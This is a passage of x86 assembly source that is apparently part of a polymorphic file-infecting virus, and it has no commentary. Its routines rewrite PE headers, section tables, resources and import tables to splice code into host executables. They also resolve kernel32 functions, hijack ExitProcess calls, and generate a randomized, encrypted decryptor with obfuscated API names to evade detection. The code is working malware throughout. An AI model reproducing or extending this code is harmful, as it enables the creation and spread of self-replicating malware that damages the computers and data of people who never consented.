|
|
jnz @@NotFixed_04
|
|
cmp [ebx+30h], edi
|
|
jz @@Fixed_04
|
|
@@NotFixed_04:
|
|
add [ebx+30h], ecx
|
|
@@Fixed_04:
|
|
add [ebx+50h], ecx
|
|
|
|
|
|
mov edx, [ebp+HeaderAddress]
|
|
mov edx, [edx+74h]
|
|
mov ebx, [ebp+HeaderAddress]
|
|
add ebx, 78h
|
|
xor eax, eax
|
|
@@LoopDir_01:
|
|
cmp eax, 4
|
|
jz @@NextDir_01
|
|
cmp [ebx], edi
|
|
jb @@NextDir_01
|
|
add [ebx], ecx
|
|
@@NextDir_01:
|
|
add ebx, 8
|
|
inc eax
|
|
dec edx
|
|
or edx, edx
|
|
jnz @@LoopDir_01
|
|
|
|
mov edx, [ebp+StartOfSectionHeaders]
|
|
mov ebx, [esi+14h]
|
|
mov eax, [ebp+MakingFirstHole]
|
|
or eax, eax
|
|
jz @@MakingDataHole_2
|
|
@@MakingCodeHole_2:
|
|
add ebx, [esi+10h]
|
|
@@MakingDataHole_2:
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov eax, [eax+6]
|
|
and eax, 0FFFFh
|
|
|
|
push esi
|
|
mov esi, [ebp+MakingFirstHole]
|
|
@@LoopUpdate_02:
|
|
push eax
|
|
mov eax, [edx+14h]
|
|
cmp eax, ebx
|
|
jb @@NextSection_00
|
|
or esi, esi
|
|
jnz @@NextSection_00_
|
|
cmp eax, ebx
|
|
jz @@NextSection_00
|
|
@@NextSection_00_:
|
|
add eax, ecx
|
|
mov [edx+14h], eax
|
|
@@NextSection_00:
|
|
mov eax, [edx+0Ch]
|
|
cmp eax, edi
|
|
jb @@NextSection_01
|
|
or esi, esi
|
|
jnz @@NextSection_01_
|
|
cmp eax, edi
|
|
jz @@NextSection_01
|
|
@@NextSection_01_:
|
|
add eax, ecx
|
|
mov [edx+0Ch], eax
|
|
@@NextSection_01:
|
|
pop eax
|
|
add edx, 28h
|
|
dec eax
|
|
or eax, eax
|
|
jnz @@LoopUpdate_02
|
|
pop esi
|
|
|
|
|
|
|
|
add [esi+08h], ecx
|
|
add [esi+10h], ecx
|
|
|
|
cmp esi, [ebp+RelocHeader]
|
|
jz @@End
|
|
|
|
push ecx
|
|
push ebx
|
|
mov edx, [ebp+MappingAddress]
|
|
add edx, [ebp+FileSize]
|
|
sub edx, 4
|
|
mov edi, edx
|
|
add edi, ecx
|
|
pop ecx
|
|
add ecx, [ebp+MappingAddress]
|
|
|
|
@@Again: mov eax, [edx]
|
|
mov [edi], eax
|
|
sub edx, 4
|
|
sub edi, 4
|
|
cmp edx, ecx
|
|
jae @@Again
|
|
|
|
pop ecx
|
|
and ecx, 0FFFFFFFCh
|
|
shr ecx, 2
|
|
add edx, 4
|
|
|
|
@@Again2: call Random
|
|
and eax, 0FCh
|
|
mov [edx], eax
|
|
add edx, 4
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@Again2
|
|
|
|
@@End: pop eax
|
|
pop edi
|
|
mov ecx, 0
|
|
pop ecx
|
|
ret
|
|
|
|
UpdateHeaders endp
|
|
|
|
|
|
UpdateResourceDir proc
|
|
@@UpdateResourceDir2:
|
|
push eax
|
|
mov eax, [eax+4]
|
|
and eax, 80000000h
|
|
or eax, eax
|
|
jz @@UpdateData
|
|
pop eax
|
|
push eax
|
|
mov eax, [eax+4]
|
|
and eax, 7FFFFFFFh
|
|
add eax, ebx
|
|
push edx
|
|
push eax
|
|
mov edx, [eax+0Ch]
|
|
and edx, 0FFFFh
|
|
mov eax, [eax+0Eh]
|
|
and eax, 0FFFFh
|
|
add edx, eax
|
|
pop eax
|
|
add eax, 10h
|
|
call @@UpdateResourceDir2
|
|
pop edx
|
|
jmp @@NextDir
|
|
@@UpdateData:
|
|
pop eax
|
|
push eax
|
|
mov eax, [eax+4]
|
|
add eax, ebx
|
|
mov eax, [eax]
|
|
cmp eax, edi
|
|
jb @@UpdateOK
|
|
pop eax
|
|
push eax
|
|
mov eax, [eax+4]
|
|
add eax, ebx
|
|
push ebx
|
|
mov ebx, eax
|
|
call AddUndoAction
|
|
pop ebx
|
|
add [eax], ecx
|
|
@@UpdateOK:
|
|
@@NextDir: pop eax
|
|
add eax, 8
|
|
dec edx
|
|
or edx, edx
|
|
jnz @@UpdateResourceDir2
|
|
ret
|
|
UpdateResourceDir endp
|
|
|
|
TranslateVirtualToPhysical proc
|
|
push ecx
|
|
or ebx, ebx
|
|
jz @@Error
|
|
mov ecx, [ebp+HeaderAddress]
|
|
mov ecx, [ecx+6]
|
|
and ecx, 0FFFFh
|
|
push edx
|
|
mov edx, [ebp+StartOfSectionHeaders]
|
|
push eax
|
|
@@LoopSection:
|
|
mov eax, [edx+0Ch]
|
|
cmp ebx, eax
|
|
jb @@NextSection
|
|
add eax, [edx+10h]
|
|
|
|
|
|
cmp ebx, eax
|
|
jae @@NextSection
|
|
sub ebx, [edx+0Ch]
|
|
add ebx, [edx+14h]
|
|
pop eax
|
|
pop edx
|
|
add ebx, [ebp+MappingAddress]
|
|
pop ecx
|
|
ret
|
|
@@NextSection:
|
|
add edx, 28h
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopSection
|
|
pop eax
|
|
pop edx
|
|
@@Error: xor ebx, ebx
|
|
pop ecx
|
|
ret
|
|
TranslateVirtualToPhysical endp
|
|
|
|
UpdateImports proc
|
|
push esi
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov ebx, [eax+80h]
|
|
or ebx, ebx
|
|
jz @@ImportsUpdated
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@ImportsUpdated
|
|
@@UpdateImports_Loop00:
|
|
mov eax, [ebx+0Ch]
|
|
or eax, eax
|
|
jz @@ImportsUpdated
|
|
cmp eax, edi
|
|
jb @@UpdateImportsOK_01
|
|
add ebx, 0Ch
|
|
call AddUndoAction
|
|
add [ebx], ecx
|
|
sub ebx, 0Ch
|
|
|
|
|
|
@@UpdateImportsOK_01:
|
|
push ebx
|
|
xor ebx, ebx
|
|
mov [ebp+Kernel32Imports], ebx
|
|
mov ebx, eax
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@UpdateImports_Next00
|
|
mov eax, [ebx]
|
|
and eax, 1F1F1F1Fh
|
|
cmp eax, 'nrek' AND 1F1F1F1Fh
|
|
jnz @@UpdateImports_Next00
|
|
mov eax, [ebx+4]
|
|
and eax, 0FFFF1F1Fh
|
|
cmp eax, '23le' AND 0FFFF1F1Fh
|
|
jnz @@UpdateImports_Next00
|
|
mov eax, 1
|
|
mov [ebp+Kernel32Imports], eax
|
|
@@UpdateImports_Next00:
|
|
pop ebx
|
|
|
|
|
|
mov eax, [ebx]
|
|
or eax, eax
|
|
jz @@UpdateImportsOK_04
|
|
|
|
push ebx
|
|
mov ebx, eax
|
|
call TranslateVirtualToPhysical
|
|
mov eax, ebx
|
|
pop ebx
|
|
or eax, eax
|
|
jz @@UpdateImportsOK_04
|
|
@@UpdateImports_Loop01:
|
|
mov edx, [eax]
|
|
or edx, edx
|
|
jz @@UpdateImportsOK_02
|
|
cmp edx, 80000000h
|
|
jae @@UpdateImports_UpdatedOK
|
|
|
|
mov esi, [ebp+Kernel32Imports]
|
|
or esi, esi
|
|
jz @@UpdateImports_NotKernel32
|
|
push ebx
|
|
mov ebx, edx
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@UpdateImports_UnknownFunction
|
|
mov esi, [ebx+2]
|
|
cmp esi, 'tixE'
|
|
jz @@UpdateImports_ExitProcess00
|
|
cmp esi, 'MteG'
|
|
jz @@UpdateImports_GetModuleHandle00
|
|
cmp esi, 'PteG'
|
|
jz @@UpdateImports_GetProcAddress00
|
|
cmp esi, 'triV'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
@@UpdateImports_VirtualAlloc:
|
|
mov esi, [ebx+0Bh]
|
|
cmp esi, 'loc'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
xor esi, esi
|
|
jmp @@UpdateImports_SaveFunctionAddress
|
|
@@UpdateImports_GetProcAddress00:
|
|
mov esi, [ebx+6]
|
|
cmp esi, 'Acor'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, 1
|
|
jmp @@UpdateImports_SaveFunctionAddress
|
|
@@UpdateImports_ExitProcess00:
|
|
mov esi, [ebx+6]
|
|
cmp esi, 'corP'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, 2
|
|
jmp @@UpdateImports_SaveFunctionAddress
|
|
@@UpdateImports_GetModuleHandle00:
|
|
mov esi, [ebx+0Ah]
|
|
cmp esi, 'naHe'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, [ebx+0Eh]
|
|
cmp esi, 'Aeld'
|
|
jz @@UpdateImports_GetModuleHandleAFound
|
|
cmp esi, 'Weld'
|
|
jnz @@UpdateImports_UnknownFunction
|
|
mov esi, 1
|
|
jmp @@UpdateImports_GetModuleHandleFound
|
|
@@UpdateImports_GetModuleHandleAFound:
|
|
xor esi, esi
|
|
@@UpdateImports_GetModuleHandleFound:
|
|
mov [ebp+GetModuleHandleMode], esi
|
|
mov esi, 3
|
|
@@UpdateImports_SaveFunctionAddress:
|
|
pop ebx
|
|
|
|
|
|
push ebx
|
|
push eax
|
|
push ebx
|
|
mov ebx, [ebx]
|
|
call TranslateVirtualToPhysical
|
|
sub eax, ebx
|
|
pop ebx
|
|
add eax, [ebx+10h]
|
|
cmp eax, edi
|
|
jb @@UpdateImports_SetFunctionAddress
|
|
add eax, ecx
|
|
@@UpdateImports_SetFunctionAddress:
|
|
or esi, esi
|
|
jz @@UpdateImports_SetVirtualAlloc
|
|
cmp esi, 1
|
|
jz @@UpdateImports_SetGetProcAddress
|
|
cmp esi, 2
|
|
jz @@UpdateImports_SetExitProcess
|
|
@@UpdateImports_SetGetModuleHandle:
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
jmp @@UpdateImports_FunctionSet
|
|
@@UpdateImports_SetVirtualAlloc:
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
jmp @@UpdateImports_FunctionSet
|
|
@@UpdateImports_SetGetProcAddress:
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
jmp @@UpdateImports_FunctionSet
|
|
@@UpdateImports_SetExitProcess:
|
|
mov [ebp+ExitProcessAddress], eax
|
|
@@UpdateImports_FunctionSet:
|
|
pop eax
|
|
@@UpdateImports_UnknownFunction:
|
|
@@UpdateImports_Continue00:
|
|
pop ebx
|
|
@@UpdateImports_NotKernel32:
|
|
cmp edx, edi
|
|
jb @@UpdateImports_UpdatedOK
|
|
push ebx
|
|
mov ebx, eax
|
|
call AddUndoAction
|
|
pop ebx
|
|
add [eax], ecx
|
|
@@UpdateImports_UpdatedOK:
|
|
add eax, 4
|
|
jmp @@UpdateImports_Loop01
|
|
|
|
@@UpdateImportsOK_02:
|
|
mov eax, [ebx]
|
|
cmp eax, edi
|
|
jb @@UpdateImportsOK_03
|
|
call AddUndoAction
|
|
add [ebx], ecx
|
|
@@UpdateImportsOK_03:
|
|
add ebx, 10h
|
|
mov eax, [ebx]
|
|
cmp eax, edi
|
|
jb @@UpdateImportsOK_04_
|
|
|
|
call AddUndoAction
|
|
add eax, ecx
|
|
mov [ebx], eax
|
|
sub eax, ecx
|
|
@@UpdateImportsOK_04_:
|
|
sub ebx, 10h
|
|
@@UpdateImportsOK_04:
|
|
add ebx, 14h
|
|
jmp @@UpdateImports_Loop00
|
|
|
|
@@ImportsUpdated:
|
|
pop esi
|
|
ret
|
|
UpdateImports endp
|
|
|
|
PatchExitProcess proc
|
|
push eax
|
|
mov eax, 1
|
|
call Random
|
|
and eax, 1
|
|
jz @@PUSHRET
|
|
@@IndirectDisplacement:
|
|
push ecx
|
|
mov eax, [ebp+TextHeader]
|
|
mov ecx, [eax+10h]
|
|
mov eax, [eax+14h]
|
|
add eax, [ebp+MappingAddress]
|
|
push edx
|
|
sub ecx, 4
|
|
@@LoopFindHole:
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jz @@NotFound
|
|
mov edx, [eax]
|
|
cmp edx, 0CCCCCCCCh
|
|
jz @@HoleFound
|
|
add eax, 1
|
|
jmp @@LoopFindHole
|
|
@@NotFound:
|
|
pop edx
|
|
pop ecx
|
|
jmp @@PUSHRET
|
|
@@HoleFound:
|
|
pop edx
|
|
mov [eax], edx
|
|
mov ecx, [esi+4]
|
|
and ecx, 0FFh
|
|
cmp ecx, 0C3h
|
|
|
|
jz @@RetInserted
|
|
sub eax, [ebp+MappingAddress]
|
|
mov ecx, [ebp+TextHeader]
|
|
sub eax, [ecx+14h]
|
|
add eax, [ecx+0Ch]
|
|
mov ecx, [ebp+HeaderAddress]
|
|
add eax, [ecx+34h]
|
|
|
|
mov [esi], eax
|
|
mov eax, 25h
|
|
mov [esi-1], al
|
|
pop ecx
|
|
jmp @@Return
|
|
@@RetInserted:
|
|
mov eax, 35h
|
|
mov [esi-1], al
|
|
pop ecx
|
|
jmp @@Return
|
|
@@PUSHRET:
|
|
mov eax, 68h
|
|
mov [esi-2], eax
|
|
mov [esi-1], edx
|
|
mov eax, 0C3h
|
|
mov [esi+3], al
|
|
|
|
@@Return: pop eax
|
|
ret
|
|
PatchExitProcess endp
|
|
|
|
AddUndoAction proc
|
|
push edx
|
|
mov edx, [ebp+MakingFirstHole]
|
|
or edx, edx
|
|
jz @@Return
|
|
|
|
|
|
|
|
push eax
|
|
mov edx, [ebp+NumberOfUndoActions]
|
|
add edx, [ebp+OtherBuffers]
|
|
mov [edx], ebx
|
|
mov eax, [ebx]
|
|
mov [edx+4], eax
|
|
add edx, 8
|
|
sub edx, [ebp+OtherBuffers]
|
|
mov [ebp+NumberOfUndoActions], edx
|
|
pop eax
|
|
@@Return: pop edx
|
|
ret
|
|
AddUndoAction endp
|
|
|
|
|
|
UndoChanges proc
|
|
mov edx, [ebp+NumberOfUndoActions]
|
|
or edx, edx
|
|
jz @@Ret
|
|
mov ecx, edx
|
|
sub edx, 8
|
|
add edx, [ebp+OtherBuffers]
|
|
@@Loop01:
|
|
mov ebx, [edx]
|
|
mov eax, [edx+4]
|
|
mov [ebx], eax
|
|
sub edx, 8
|
|
sub ecx, 8
|
|
or ecx, ecx
|
|
jnz @@Loop01
|
|
@@Ret: ret
|
|
UndoChanges endp
|
|
|
|
|
|
APICall_GetModuleHandle proc
|
|
mov eax, [ebp+FlagAorW]
|
|
or eax, eax
|
|
jz @@UseGMHA
|
|
mov ebx, edx
|
|
add ebx, 20h
|
|
mov ebx, edx
|
|
add ecx, 10h
|
|
@@LoopConvertToWideChar:
|
|
mov eax, [ecx]
|
|
and eax, 0FFh
|
|
mov [ebx], eax
|
|
sub ecx, 1
|
|
sub ebx, 2
|
|
cmp ecx, edx
|
|
jnz @@LoopConvertToWideChar
|
|
@@UseGMHA: push edx
|
|
call dword ptr [ebp+RVA_GetModuleHandle]
|
|
mov [ebp+ReturnValue], eax
|
|
ret
|
|
APICall_GetModuleHandle endp
|
|
|
|
|
|
|
|
GetFunction proc
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, edx
|
|
push eax
|
|
mov eax, edi
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetProcAddress]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
mov eax, [ebp+ReturnValue]
|
|
ret
|
|
GetFunction endp
|
|
|
|
;----------------------------------------------------------------------------------------
|
|
|
|
MakeDecryptor proc
|
|
|
|
mov [ebp+InstructionTable], edi
|
|
xor eax, eax
|
|
mov [ebp+NumberOfLabels], eax
|
|
mov [ebp+NumberOfVariables], eax
|
|
mov eax, edi
|
|
add eax, 80000h
|
|
mov [ebp+ExpansionResult], eax
|
|
|
|
mov eax, [ebp+RVA_DataHole]
|
|
mov ecx, [ebp+HeaderAddress]
|
|
add eax, [ecx+34h]
|
|
mov [ebp+StartOfEncryptedData], eax
|
|
|
|
mov edx, [ebp+RelocHeader]
|
|
or edx, edx
|
|
jnz @@SetDataAtEndOfCryptedCode
|
|
|
|
mov ecx, [ebp+DataHeader]
|
|
mov edx, [ebp+HeaderAddress]
|
|
call Random
|
|
and eax, 0Fh
|
|
add eax, [ecx+0Ch]
|
|
add eax, [edx+34h]
|
|
jmp @@SetDecryptorDataSection
|
|
|
|
|
|
@@SetDataAtEndOfCryptedCode:
|
|
add eax, [ebp+SizeOfNewCode]
|
|
and eax, 0FFFFFFFCh
|
|
add eax, 4
|
|
@@SetDecryptorDataSection:
|
|
mov [ebp+Decryptor_DATA_SECTION], eax
|
|
|
|
mov eax, 1
|
|
mov [ebp+CreatingADecryptor], eax
|
|
|
|
call Poly_MakeRandomExecution
|
|
|
|
|
|
|
|
mov eax, [ebp+VirtualAllocAddress]
|
|
or eax, eax
|
|
jnz @@VirtualAllocAlreadyImported
|
|
|
|
|
|
mov eax, [ebp+GetModuleHandleMode]
|
|
or eax, eax
|
|
jnz @@GetModuleHandleUNICODE
|
|
|
|
@@GetModuleHandleASCII:
|
|
call Random
|
|
and eax, 20202020h
|
|
add eax, 'NREK'
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
call Random
|
|
and eax, 00002020h
|
|
add eax, '23LE'
|
|
mov [ebp+Poly_SecondPartOfFunction], eax
|
|
mov eax, 2
|
|
call Random
|
|
and eax, 1
|
|
jz @@DontSetExtension0
|
|
call Random
|
|
and eax, 20202000h
|
|
add eax, 'LLD.'
|
|
@@DontSetExtension0:
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
xor eax, eax
|
|
mov [ebp+AdditionToBuffer], eax
|
|
|
|
call Poly_SetFunctionName
|
|
jmp @@NameOfModuleInitialized
|
|
|
|
@@GetModuleHandleUNICODE:
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 0045004Bh
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 004E0052h
|
|
mov [ebp+Poly_SecondPartOfFunction], eax
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 004C0045h
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
xor eax, eax
|
|
mov [ebp+AdditionToBuffer], eax
|
|
call Poly_SetFunctionName
|
|
|
|
mov eax, 00320033h
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
mov eax, 2
|
|
call Random
|
|
and eax, 1
|
|
jz @@DontSetExtension1
|
|
call Random
|
|
and eax, 00200000h
|
|
add eax, 0044002Eh
|
|
@@DontSetExtension1:
|
|
mov [ebp+Poly_SecondPartOfFunction], eax
|
|
or eax, eax
|
|
jz @@DontSetExtension2
|
|
call Random
|
|
and eax, 00200020h
|
|
add eax, 004C004Ch
|
|
@@DontSetExtension2:
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
mov eax, 0Ch
|
|
mov [ebp+AdditionToBuffer], eax
|
|
call Poly_SetFunctionName
|
|
|
|
@@NameOfModuleInitialized:
|
|
call Poly_SelectThreeRegisters
|
|
mov edx, [ebp+Decryptor_DATA_SECTION]
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoMOVRegValue
|
|
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoPUSHReg
|
|
|
|
mov ecx, [ebp+GetModuleHandleAddress]
|
|
call Poly_DoCALLMem
|
|
|
|
mov eax, 0F6h
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
add eax, 10h
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 'triV'
|
|
mov [ebp+Poly_FirstPartOfFunction], eax
|
|
mov eax, 'Alau'
|
|
mov [ebp+Poly_SecondPartOfFunction], eax
|
|
mov eax, 'coll'
|
|
mov [ebp+Poly_ThirdPartOfFunction], eax
|
|
xor eax, eax
|
|
mov [ebp+AdditionToBuffer], eax
|
|
call Poly_SetFunctionName
|
|
|
|
call Poly_SelectThreeRegisters
|
|
mov edx, [ebp+Decryptor_DATA_SECTION]
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoMOVRegValue
|
|
mov ecx, [ebp+BufferRegister]
|
|
call Poly_DoPUSHReg
|
|
|
|
call Poly_SelectThreeRegisters
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov ebx, 10h
|
|
call Poly_DoMOVRegMem
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoPUSHReg
|
|
|
|
mov ecx, [ebp+GetProcAddressAddress]
|
|
call Poly_DoCALLMem
|
|
|
|
mov eax, 0F6h
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
add eax, 10h
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
|
|
|
|
@@VirtualAllocAlreadyImported:
|
|
mov eax, 8
|
|
mov [ebp+BufferRegister], eax
|
|
mov [ebp+CounterRegister], eax
|
|
mov [ebp+IndexRegister], eax
|
|
|
|
mov edx, 4
|
|
call Poly_DoPUSHValue
|
|
mov edx, 1000h
|
|
call Poly_DoPUSHValue
|
|
call Random
|
|
and eax, 01F000h
|
|
mov edx, 350000h
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
xor edx, edx
|
|
call Poly_DoPUSHValue
|
|
|
|
mov ecx, [ebp+VirtualAllocAddress]
|
|
call Poly_DoCALLMem
|
|
|
|
mov eax, 0F6h
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
|
|
call Poly_SelectThreeRegisters
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
xor ebx, ebx
|
|
call Poly_DoMOVRegMem
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_MakeCheckWith0
|
|
|
|
mov eax, 74h
|
|
mov [edi], eax
|
|
mov [ebp+Poly_Jump_ErrorInVirtualAlloc], edi
|
|
add edi, 10h
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+New_CODE_SECTION]
|
|
call Poly_DoADDRegValue
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov ebx, 10h
|
|
call Poly_DoMOVMemReg
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_DISASM2_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_DATA_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_BUFFERS_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_DISASM_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
|
|
call Random
|
|
and eax, 0FC000000h
|
|
mov edx, [ebp+New_CODE_SECTION]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
|
|
mov edx, [ebp+GetProcAddressAddress]
|
|
call Poly_DoPUSHValue
|
|
|
|
mov edx, [ebp+GetModuleHandleAddress]
|
|
call Poly_DoPUSHValue
|
|
|
|
mov edx, [ebp+TranslatedDeltaRegister]
|
|
shl edx, 1
|
|
mov eax, [ebp+GetModuleHandleMode]
|
|
add edx, eax
|
|
call Poly_DoPUSHValue
|
|
|
|
|
|
|
|
call Random
|
|
mov ebx, [ebp+SizeOfNewCodeP2]
|
|
sub ebx, 4
|
|
and eax, ebx
|
|
mov [ebp+Poly_InitialValue], eax
|
|
mov [ebp+CounterValue], eax
|
|
call Random
|
|
sub ebx, 4
|
|
and eax, ebx
|
|
mov [ebp+Poly_Addition], eax
|
|
|
|
call Random
|
|
mov ebx, [ebp+SizeOfNewCodeP2]
|
|
sub ebx, 4
|
|
and eax, ebx
|
|
mov [ebp+IndexValue], eax
|
|
|
|
call Random
|
|
mov [ebp+BufferValue], eax
|
|
|
|
call Poly_SelectThreeRegisters
|
|
|
|
call Poly_SetValueToRegisters
|
|
|
|
|
|
call Poly_InsertLabel
|
|
mov [ebp+Poly_LoopLabel], eax
|
|
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoPUSHReg
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
mov edx, [ebp+CounterRegister]
|
|
call Poly_DoXORRegReg
|
|
|
|
|
|
mov eax, 38h
|
|
mov [edi], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+SizeOfNewCode]
|
|
and eax, 0FFFFFFFCh
|
|
add eax, 4
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 73h
|
|
mov [edi], eax
|
|
mov [ebp+Poly_ExcessJumpInstruction], edi
|
|
add edi, 10h
|
|
|
|
mov eax, 42h
|
|
mov [edi], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
add eax, 0800h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+StartOfEncryptedData]
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 3
|
|
call Random
|
|
and eax, 7
|
|
jz @@NoEncryption
|
|
call Random
|
|
@@NoEncryption:
|
|
mov [ebp+EncryptionKey], eax
|
|
|
|
mov ecx, eax
|
|
or ecx, ecx
|
|
jz @@DontMakeDecryption
|
|
|
|
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 1
|
|
jz @@MethodXOR_prev
|
|
mov eax, 1
|
|
call Random
|
|
and eax, 1
|
|
jz @@MethodXOR_prev
|
|
jmp @@SetMethod
|
|
@@MethodXOR_prev:
|
|
mov eax, 2
|
|
@@SetMethod:
|
|
mov [ebp+TypeOfEncryption], eax
|
|
mov ecx, [ebp+EncryptionKey]
|
|
or eax, eax
|
|
jz @@MethodADD
|
|
cmp eax, 1
|
|
jz @@MethodSUB
|
|
@@MethodXOR:
|
|
mov eax, 30h
|
|
jmp @@MakeDecryption
|
|
@@MethodADD:
|
|
neg ecx
|
|
@@MethodSUB:
|
|
xor eax, eax
|
|
@@MakeDecryption:
|
|
|
|
mov [edi], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
add edi, 10h
|
|
|
|
@@DontMakeDecryption:
|
|
mov eax, 02h
|
|
mov [edi], eax
|
|
mov eax, 0808h
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Decryptor_DATA_SECTION]
|
|
add eax, 10h
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 43h
|
|
mov [edi], eax
|
|
mov eax, [ebp+IndexRegister]
|
|
add eax, 0800h
|
|
mov [edi+1], eax
|
|
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
mov eax, [ebp+BufferRegister]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
call Poly_InsertLabel
|
|
mov ebx, [ebp+Poly_ExcessJumpInstruction]
|
|
mov [ebx+1], eax
|
|
|
|
|
|
|
|
mov ecx, [ebp+IndexRegister]
|
|
call Poly_DoPOPReg
|
|
|
|
call Random
|
|
and eax, 1
|
|
jz @@AddIndexFirst
|
|
@@AddCounterFirst:
|
|
call Poly_ModifyCounter
|
|
@@C_SelectAnotherSequence:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@C_SelectAnotherSequence
|
|
|
|
push eax
|
|
cmp eax, 1
|
|
jnz @@AddCounterFirst_Next00
|
|
call Poly_MaskCounter
|
|
@@AddCounterFirst_Next00:
|
|
call Poly_ModifyIndex
|
|
pop eax
|
|
|
|
push eax
|
|
cmp eax, 2
|
|
jnz @@AddCounterFirst_Next01
|
|
call Poly_MaskCounter
|
|
@@AddCounterFirst_Next01:
|
|
call Poly_MaskIndex
|
|
pop eax
|
|
|
|
cmp eax, 3
|
|
jnz @@AddCounterFirst_Next02
|
|
call Poly_MaskCounter
|
|
@@AddCounterFirst_Next02:
|
|
jmp @@ModificationMade
|
|
|
|
|
|
@@AddIndexFirst:
|
|
call Poly_ModifyIndex
|
|
@@I_SelectAnotherSequence:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@I_SelectAnotherSequence
|
|
|
|
push eax
|
|
cmp eax, 1
|
|
jnz @@AddIndexFirst_Next00
|
|
call Poly_MaskIndex
|
|
@@AddIndexFirst_Next00:
|
|
call Poly_ModifyCounter
|
|
pop eax
|
|
|
|
push eax
|
|
cmp eax, 2
|
|
jnz @@AddIndexFirst_Next01
|
|
call Poly_MaskIndex
|
|
@@AddIndexFirst_Next01:
|
|
call Poly_MaskCounter
|
|
pop eax
|
|
|
|
cmp eax, 3
|
|
jnz @@AddIndexFirst_Next02
|
|
call Poly_MaskIndex
|
|
@@AddIndexFirst_Next02:
|
|
|
|
|
|
@@ModificationMade:
|
|
mov eax, 38h
|
|
mov [edi], eax
|
|
mov eax, [ebp+CounterRegister]
|
|
mov [edi+1], eax
|
|
mov eax, [ebp+Poly_InitialValue]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
|
|
mov eax, 75h
|
|
mov [edi], eax
|
|
mov eax, [ebp+Poly_LoopLabel]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
|
|
